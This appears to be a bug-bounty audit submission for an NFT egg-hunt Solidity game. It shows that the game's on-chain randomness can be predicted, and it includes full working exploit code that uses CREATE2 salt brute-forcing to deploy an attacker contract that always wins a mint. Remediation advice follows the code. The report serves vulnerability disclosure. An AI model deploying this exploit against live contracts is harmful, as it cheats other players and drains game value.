Submission Details
Severity:
Predictable Randomness Exploitation in EggHunt Game
Summary
A cirtical vulnerablity in EggHuntGame.sol allows attackers to predict and manipulate the egg creation prcess by calculating random in advance.
Vulnerability Details
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender, eggCounter))
) % 100;
Attacker can calculate this random in advance and mintEgg with 100% success rate.
Here is attack detail.
// SPDX-License-Identifier: MIT
import "./EggHuntGame.sol";
import "forge-std/console.sol";
contract EggHuntExploit {
EggHuntGame public eggHuntGame;
address public owner;
bytes32 public salt;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
owner = msg.sender;
}
function exploit() external {
uint256 currentEggCounter = eggHuntGame.eggCounter();
uint256 threshold = eggHuntGame.eggFindThreshold();
bytes32 successSalt;
address predictedAddress;
bool found = false;
for (uint256 i = 0; i < 1000; i++) {
successSalt = keccak256(abi.encodePacked(i));
predictedAddress = calculateAttackerAddress(successSalt);
uint256 random = uint256(
keccak256(abi.encodePacked(block.timestamp, block.prevrandao, predictedAddress, currentEggCounter))
) % 100;
console.log("i", i);
console.log("predictedAddress", predictedAddress);
if (random < threshold) {
found = true;
salt = successSalt;
break;
}
}
require(found, "not found");
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
address attackerAddress;
assembly {
attackerAddress := create2(0, add(initCode, 0x20), mload(initCode), successSalt)
}
Attacker(attackerAddress).attack();
}
function calculateAttackerAddress(bytes32 _salt) public view returns (address) {
bytes memory bytecode = type(Attacker).creationCode;
bytes memory initCode = abi.encodePacked(bytecode, abi.encode(address(eggHuntGame)));
return address(uint160(uint256(keccak256(abi.encodePacked(
bytes1(0xff),
address(this),
_salt,
keccak256(initCode)
)))));
}
}
contract Attacker {
EggHuntGame public eggHuntGame;
constructor(address _eggHuntGameAddress) {
eggHuntGame = EggHuntGame(_eggHuntGameAddress);
}
function attack() external {
eggHuntGame.searchForEgg();
}
}
Impact
Attacker can mint nft with 100% success rate
Tools Used
foundry test
Recommendations
Request random values from chainlink vrf
reveal the randomness in the next block
Updates
Lead Judging Commences
m3dython 10 months ago
Submission Judgement Published Assigned finding tags:
Insecure Randomness
Insecure methods to generate pseudo-random numbers
Rewards breakdown
nSLOC
129This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
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